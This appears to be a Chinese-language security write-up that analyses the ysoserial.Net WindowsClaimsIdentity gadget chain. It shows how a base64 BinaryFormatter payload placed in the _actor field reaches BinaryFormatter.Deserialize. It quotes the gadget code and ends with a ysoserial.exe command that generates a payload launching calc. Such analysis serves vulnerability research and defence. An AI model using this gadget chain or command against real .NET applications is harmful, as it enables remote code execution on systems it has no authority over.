0x01 分析
WindowsClaimsIdentity类标记[Serializable]特性,并且继承于WindowsIdentity类,也实现了序列化接口ISerializable,签名如下.
[Serializable]
public class WindowsClaimsIdentity : WindowsIdentity, IClaimsIdentity, IIdentity, ISerializable
它是.NET WIF身份验证框架的一部分,常用于在应用程序中管理和操作用户身份的信息,如用户名称、角色、权限等。提供添加、删除和查询声明的方法,以便在应用程序中使用这些声明进行身份验证和授权。
结合ysoserial.Net提供的实现代码,庖丁解牛一点点的解读,代码如下
IGenerator generator = new TextFormattingRunPropertiesGenerator();
string b64encoded = Convert.ToBase64String(binaryFormatterPayload);
if (variant_number == 2)
{
obj = new WindowsClaimsIdentityMarshal_var2(b64encoded);
}
else if (variant_number == 3)
{
obj = new WindowsClaimsIdentityMarshal_var3(b64encoded);
}
else
{
obj = new WindowsClaimsIdentityMarshal_var1(b64encoded);
}
这里依旧使用TextFormattingRunProperties类生成基于XAML的攻击载荷,然后转成base64编码,为何要转换编码?我们继续看竟然有三处不同的if条件分支,很大可能存在三处不同的触发点,我们先跟踪WindowsClaimsIdentityMarshal_var1类,进入后发现也实现了ISerializable接口,那么意味着还存在序列化方法GetObjectData,果不其然签名如下
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(WindowsClaimsIdentity));
info.AddValue("_actor", B64Payload);
info.AddValue("m_userToken", new IntPtr(0));
info.AddValue("_label", null);
info.AddValue("_nameClaimType", null);
info.AddValue("_roleClaimType", null);
}
通过info.SetType设置WindowsClaimsIdentityMarshal_var1序列化过程中指定类型为WindowsClaimsIdentity,然后通过info.AddValue将恶意的攻击载荷赋值给WindowsClaimsIdentity类的_actor成员,跟踪进入WindowsClaimsIdentity类发现actor属性原来具备了Setter,并且在GetObjectData()方法内序列化m_userToken、_nameClaimType、_roleClaimType、_label、_actor等多个属性,如下图
WindowsClaimsIdentity被序列化对象时会进入自身的构造方法,调用Deserialize反序列化info对象,核心代码如下
protected WindowsClaimsIdentity(SerializationInfo info, StreamingContext context)
{
if (info == null){throw DiagnosticUtil.ExceptionUtil.ThrowHelperArgumentNull("info");}
Deserialize(info, context);
}
Deserialize方法内部对以上提到的属性反序列化,这里漏洞触发的核心在于通过claimsIdentitySerializer.DeserializeActor()序列化info对象里的_actor属性,如下图
DeserializeActor()内部通过序列化对象info.GetString方法获得_actor属性值,然后Convert.FromBase64String将传入的值解码,最后调用binaryFormatter.Deserialize完成反序列化。代码清单如下
public IClaimsIdentity DeserializeActor()
{
string @string = _info.GetString("_actor");
if (@string == null)
{
return null;
}
BinaryFormatter binaryFormatter = new BinaryFormatter(null, _context);
using MemoryStream serializationStream = new MemoryStream(Convert.FromBase64String(@string));
return (IClaimsIdentity)binaryFormatter.Deserialize(serializationStream);
}
ysoserial.exe -f BinaryFormatter -g WindowsClaimsIdentity -c "calc" -t